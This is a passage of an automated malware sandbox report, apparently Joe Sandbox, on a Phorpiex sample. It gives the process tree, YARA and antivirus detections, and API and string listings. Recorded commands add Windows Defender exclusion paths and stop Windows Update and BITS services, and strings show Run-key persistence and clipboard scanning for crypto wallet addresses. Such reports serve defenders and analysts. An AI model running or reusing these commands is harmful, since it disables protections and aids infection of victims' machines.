Oct 28, 2024 11:11:31.283941984 CET	1236	IN	Data Raw: eb 45 4c 97 ef 2a 1d 2d 9e 44 a8 12 24 dd 16 68 4f 59 12 bf 43 b3 04 4d 19 04 15 bf 01 95 74 9f 14 3b 45 eb f3 d9 62 da 79 9d 16 ba d9 cc d4 f6 3b 74 51 be 85 05 66 0a 71 89 56 7b 23 ef 62 eb 74 a4 a1 98 46 d2 dd b1 ee e3 47 91 89 f2 99 71 dc c6 Data Ascii: EL-D$hOYCMt;Eby;tQfqV{#btFGqNPs%#@#&AG =OPpuLx!$A<k_xmO1>v@O;KbSs YUN7L'A4Ht\is
Oct 28, 2024 11:11:31.283957005 CET	1236	IN	Data Raw: 44 69 97 04 49 86 d7 b5 59 b2 c1 bc a6 6a 60 69 c7 d9 b8 01 f1 03 06 0d 0c b0 fc aa 40 67 6e cf 94 4b 3d fa 20 12 1c 7b e4 0b 90 7d 37 06 4e 57 b1 53 8d e6 1f 43 0a 22 07 24 10 5a 1b cc 5e 22 4c 64 d0 cf 28 1b 24 a8 fd 5d 0e a7 38 e6 2c 0c cf cb Data Ascii: DiIYj`i@gnK= {}7NWSC"$Z^"Ld($]8,C"e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1!FWy7JKPh,2W>>{]t4iUaAIdBJ+:O"
Oct 28, 2024 11:11:31.283972025 CET	1236	IN	Data Raw: 35 cc 98 17 45 ee fe 11 2f 11 f1 a7 11 08 7a 36 51 5b b6 a4 0e 15 e5 4f 37 a2 fb 50 32 88 95 be 22 83 f8 5b e1 64 e4 26 6d 00 c2 f9 4d d2 e9 39 54 4c 7c cb b9 79 ca fe 4c 17 8d 93 22 88 09 b9 f5 c4 36 45 30 a8 2c c4 29 da af 3d 55 db 50 b9 bd 72 Data Ascii: 5E/z6Q[O7P2"[d&mM9TL\|yL"6E0,)=UPr4;2JaQ{f8-{=i,JHy +9Oq;;=`}>b2[6R+6w\|Ajc,{2.dEp,YsEn8W!A2Ou`H0w.z+Vj2W7r5HQ
Oct 28, 2024 11:11:31.283988953 CET	124	IN	Data Raw: d0 b8 b8 a4 7a f1 78 a6 de a0 98 fd d5 94 21 bb 17 c0 a8 30 d8 8a ec e3 68 e4 92 ee fd a2 e1 0f 48 24 3b bd 86 96 39 f7 ff d2 03 60 b8 c4 c9 a9 36 ad c1 5c 28 3c f3 9d ac d2 56 a1 15 36 37 e1 45 39 05 02 82 2f aa 3a 6a 3b 9e 3e 7c 57 a3 17 b7 f3 Data Ascii: zx!0hH$;9`6\(<V67E9/:j;>\|Wk<cb4Gcap`%SmttII@i

Target ID:	0
Start time:	06:11:07
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\Bjl3geiFEK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Bjl3geiFEK.exe"
Imagebase:	0x4b0000
File size:	10'240 bytes
MD5 hash:	ED9FBBBE548C41479CB70E4D694793D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:11:12
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\33080.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\33080.scr" /S
Imagebase:	0x400000
File size:	85'504 bytes
MD5 hash:	06560B5E92D704395BC6DAE58BC7E794
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\33080.scr, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:11:14
Start date:	28/10/2024
Path:	C:\Windows\sysppvrdnvs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysppvrdnvs.exe
Imagebase:	0x400000
File size:	85'504 bytes
MD5 hash:	06560B5E92D704395BC6DAE58BC7E794
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysppvrdnvs.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:11:16
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:11:16
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:11:16
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:11:16
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:11:16
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Imagebase:	0xf70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:11:17
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop UsoSvc
Imagebase:	0x9f0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:11:17
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x9f0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:11:17
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop wuauserv
Imagebase:	0x9f0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:11:17
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop DoSvc
Imagebase:	0x9f0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:11:17
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop BITS /wait
Imagebase:	0x9f0000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:11:19
Start date:	28/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	06:11:26
Start date:	28/10/2024
Path:	C:\Windows\sysppvrdnvs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\sysppvrdnvs.exe"
Imagebase:	0x400000
File size:	85'504 bytes
MD5 hash:	06560B5E92D704395BC6DAE58BC7E794
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:11:28
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\818921588.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\818921588.exe
Imagebase:	0x400000
File size:	85'504 bytes
MD5 hash:	06560B5E92D704395BC6DAE58BC7E794
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\818921588.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	45.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	43.9%
Total number of Nodes:	98
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004B10B0 Relevance: 68.7, APIs: 31, Strings: 8, Instructions: 403
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 004B10BF
DeleteFileW.KERNELBASE(778g87b7b8787b7), ref: 004B10E5
FindWindowA.USER32(778g87b7b8787b7,00000000), ref: 004B10EE
MoveFileW.KERNEL32(778g87b7b8787b7,778g87b7b8787b7), ref: 004B10FE
DeleteFileW.KERNELBASE(778g87b7b8787b7778g87b7b8787b7), ref: 004B1105
LoadLibraryA.KERNELBASE(00000000), ref: 004B132E
LoadLibraryA.KERNEL32(00000000), ref: 004B134C
LoadLibraryA.KERNELBASE(00000000), ref: 004B136D
LoadLibraryA.KERNELBASE(00000000), ref: 004B138C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004B13AF
GetProcAddress.KERNEL32(00000000,00000000), ref: 004B13CD
GetProcAddress.KERNEL32(?,00000000), ref: 004B13EF
GetProcAddress.KERNEL32(?,00000000), ref: 004B1413
GetTickCount.KERNEL32 ref: 004B141F
srand.MSVCR90 ref: 004B1426
mbstowcs.MSVCR90 ref: 004B1458
mbstowcs.MSVCR90 ref: 004B14A8
wsprintfW.USER32 ref: 004B14D0
PathFileExistsW.KERNELBASE(?), ref: 004B14DD
mbstowcs.MSVCR90 ref: 004B1518
mbstowcs.MSVCR90 ref: 004B1568
rand.MSVCR90 ref: 004B1578

Strings

778g87b7b8787b7, xrefs: 004B10F9
778g87b7b8787b7, xrefs: 004B10E0
778g87b7b8787b7778g87b7b8787b7, xrefs: 004B1100
778g87b7b8787b7, xrefs: 004B10E9
%s\%d%s, xrefs: 004B159B
778g87b7b8787b7, xrefs: 004B10F4
%s\%s, xrefs: 004B14CA
"K, xrefs: 004B121E

Memory Dump Source

Source File: 00000000.00000002.1807312821.00000000004B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1807296218.00000000004B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1807329261.00000000004B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1807343166.00000000004B4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Bjl3geiFEK.jbxd

Similarity

API ID: AddressFileLibraryLoadProcmbstowcs$Delete$CountExistsFindMovePathSleepTickWindowrandsrandwsprintf
String ID: "K$%s\%d%s$%s\%s$778g87b7b8787b7$778g87b7b8787b7$778g87b7b8787b7$778g87b7b8787b7$778g87b7b8787b7778g87b7b8787b7
API String ID: 2649378626-1968070415
Opcode ID: 05af62771ce60b95c3cf359e96dcec27e4704eba9465244f88f31c32785f2443
Instruction ID: 5074f222bf24171671938b51c012338d793ee46f101870637a2272c7b73c1ac7
Opcode Fuzzy Hash: 05af62771ce60b95c3cf359e96dcec27e4704eba9465244f88f31c32785f2443
Instruction Fuzzy Hash: B7F131B55083419BC324DF68DD50AEBB7E9AF88344F448A2EF589C3361EB74D504CB6A

Analysis Process: 33080.scrPID: 7112, Parent PID: 6852COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.5%
Total number of Nodes:	1501
Total number of Limit Nodes:	8

Executed Functions

Function 0040F1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,00407A28), ref: 0040F1C3
strcmp.NTDLL ref: 0040F1D2

Strings

UKR, xrefs: 0040F1C9

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction ID: 1be06a77ef1098bc08a48f46d8927727b75ba0885e831d13d66ebc3380d14d50
Opcode Fuzzy Hash: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction Fuzzy Hash: FDE01276E44308B6DA20A6A0AD02BE6776C6715705F0001B6BE08AA5C1E9B9961DC7EA

Function 00407940 Relevance: 282.5, APIs: 103, Strings: 58, Instructions: 749
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040794E
CreateMutexA.KERNELBASE(00000000,00000000,mmn7nnm8na), ref: 0040795D
GetLastError.KERNEL32 ref: 00407969
ExitProcess.KERNEL32 ref: 00407978
GetModuleFileNameW.KERNEL32(00000000,004161D0,00000105), ref: 004079B2
PathFindFileNameW.SHLWAPI(004161D0), ref: 004079BD
wsprintfW.USER32 ref: 004079DA
DeleteFileW.KERNELBASE(?), ref: 004079EA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407A01
wcscmp.NTDLL ref: 00407A13
ExitProcess.KERNEL32 ref: 00407A32

Strings

FirewallOverride, xrefs: 00408117
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 00407E8B
AntiSpywareOverride, xrefs: 0040826C
mmn7nnm8na, xrefs: 00407954
%s\%s, xrefs: 00407C56
OverrideNotice, xrefs: 00408000
open, xrefs: 00407D65
AlwaysAutoUpdate, xrefs: 00407FE1
EnableWindowsUpdate, xrefs: 0040809B
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407CA4
%s\%s, xrefs: 00407B4D
FirewallOverride, xrefs: 0040822E
DisableWindowsUpdate, xrefs: 0040805D
UpdatesOverride, xrefs: 004081B2
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407B9B
SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator, xrefs: 0040802D
%userprofile%, xrefs: 004079FC
sysppvrdnvs.exe, xrefs: 00407A07, 00407A4F, 00407B41, 00407C4A
%s\%s, xrefs: 00407A5B
AutoUpdateOptions, xrefs: 0040807C
FirewallDisableNotify, xrefs: 00408136
UpdatesDisableNotify, xrefs: 004081D1
Start, xrefs: 00407E05
NoAutoUpdate, xrefs: 00407FC2
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 00407E32
/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -, xrefs: 00407D40
DisableWindowsUpdate, xrefs: 00407F69
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407AA9
%s:Zone.Identifier, xrefs: 004079CE
cmd.exe, xrefs: 00407D60
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 00407D80
AntiSpywareOverride, xrefs: 00408155
AntiVirusOverride, xrefs: 0040828B
FirewallDisableNotify, xrefs: 0040824D
Start, xrefs: 00407EB7
Windows Settings, xrefs: 00407AE7, 00407BD9, 00407CE2
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407DD9
AntiVirusDisableNotify, xrefs: 00408193
AntiVirusDisableNotify, xrefs: 004082AA
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 004081FE
SOFTWARE\Microsoft\Security Center, xrefs: 004080E7
Start, xrefs: 00407DAC
/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, xrefs: 00407D5B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407F96
UpdatesOverride, xrefs: 004082C9
%temp%, xrefs: 00407C3F
Start, xrefs: 00407F10
%s\tbtnds.dat, xrefs: 0040833B
Start, xrefs: 00407E5E
UpdatesDisableNotify, xrefs: 004082E8
open, xrefs: 00407D4A
AntiVirusOverride, xrefs: 00408174
%s\tbtcmds.dat, xrefs: 00408355
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407EE4
%windir%, xrefs: 00407A44
cmd.exe, xrefs: 00407D45
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407F3D
PreventDownload, xrefs: 004080BA

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -$/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait$AlwaysAutoUpdate$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$AutoUpdateOptions$DisableWindowsUpdate$DisableWindowsUpdate$EnableWindowsUpdate$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$OverrideNotice$PreventDownload$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$cmd.exe$cmd.exe$mmn7nnm8na$open$open$sysppvrdnvs.exe
API String ID: 4172876685-159212852
Opcode ID: 14d5bbea81be467e13e3765130848305c9d0a11b32ad18c98a91a2c8bc0bfa95
Instruction ID: 367eef7d7cdc4f6bbf58631969cb55eb0d30a7b17f9c19f9a6cac2e90da0940f
Opcode Fuzzy Hash: 14d5bbea81be467e13e3765130848305c9d0a11b32ad18c98a91a2c8bc0bfa95
Instruction Fuzzy Hash: 245240B1A80318BBE7209BA0DC4AFD97775AB48B15F1081A5B309B61D0D7F5AAC4CF5C

Function 0040F400 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040F40E
memset.NTDLL ref: 0040F41E
CreateProcessW.KERNELBASE(00000000,00407D11,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040F457
Sleep.KERNELBASE(000003E8), ref: 0040F467
ShellExecuteW.SHELL32(00000000,open,00407D11,00000000,00000000,00000000), ref: 0040F482
Sleep.KERNEL32(000003E8), ref: 0040F49C

Strings

open, xrefs: 0040F47B
D, xrefs: 0040F426
, xrefs: 0040F491

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction ID: 03d024a0b9a73c413bf1553ab10d0ee3a8ab15297eec0ef6a9417e1ec1830951
Opcode Fuzzy Hash: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction Fuzzy Hash: ED112B71A80308BAEB209B90CD46FDE7778AB14B10F204135FA047E2C0D6B9AA448759

Non-executed Functions

Function 004068E0 Relevance: 105.4, APIs: 47, Strings: 13, Instructions: 407
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,004070E0,?,?,?), ref: 004068E8
wsprintfW.USER32 ref: 0040691F
wsprintfW.USER32 ref: 0040693F
wsprintfW.USER32 ref: 0040695F
wsprintfW.USER32 ref: 0040697F
wsprintfW.USER32 ref: 00406998
wsprintfW.USER32 ref: 004069B8
PathFileExistsW.SHLWAPI(?), ref: 004069C8
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A01
DeleteFileW.KERNEL32(?), ref: 00406A0E
PathFileExistsW.SHLWAPI(?), ref: 00406A1B
PathFileExistsW.SHLWAPI(?), ref: 00406A30
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A46
DeleteFileW.KERNEL32(?), ref: 00406A53
PathFileExistsW.SHLWAPI(?), ref: 00406A60
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406A73

Strings

shell32.dll, xrefs: 00406C52
%s\%s, xrefs: 00406973
%s\%s\rvldrv.exe, xrefs: 004069AC
shell32.dll, xrefs: 00406C38
%s\%s\rvlcfg.exe, xrefs: 00406953
shell32.dll, xrefs: 00406BFC
%s\*, xrefs: 0040698C
%s\%s, xrefs: 00406EC0
shell32.dll, xrefs: 00406C16
%s\%s\%s, xrefs: 00406EE7
%s.lnk, xrefs: 00406913
%s\%s, xrefs: 00406E4D
%s\%s, xrefs: 00406933

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$AttributesDelete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\rvlcfg.exe$%s\%s\rvldrv.exe$%s\*$shell32.dll$shell32.dll$shell32.dll$shell32.dll
API String ID: 495142193-638321828
Opcode ID: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction ID: 1e7642a3bb229a683b77cec8f60a4b6186945a0df842d4041ba496de3fd539ef
Opcode Fuzzy Hash: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction Fuzzy Hash: 500270B5900218EBDB20DB60DC44FEA7778BF44705F0485EAF50AA6190DBB89BD4CF69

Function 00404970 Relevance: 71.0, APIs: 24, Strings: 16, Instructions: 989clipboardstringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 0040498C
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404D99
StrStrW.SHLWAPI(00000000,cosmos), ref: 00404DC4
StrStrW.SHLWAPI(00000000,addr), ref: 00404DEF
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404E8A
StrStrW.SHLWAPI(00000000,ronin:), ref: 00404EA1
StrStrW.SHLWAPI(00000000,nano_), ref: 00404EB8
StrStrW.SHLWAPI(00000000,bnb), ref: 00405458
StrStrW.SHLWAPI(00000000,bc1p), ref: 00405474
StrStrW.SHLWAPI(00000000,bc1q), ref: 00405490
StrStrW.SHLWAPI(00000000,ronin:), ref: 004054B3
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 004054CD
StrStrW.SHLWAPI(00000000,cosmos), ref: 004054E7
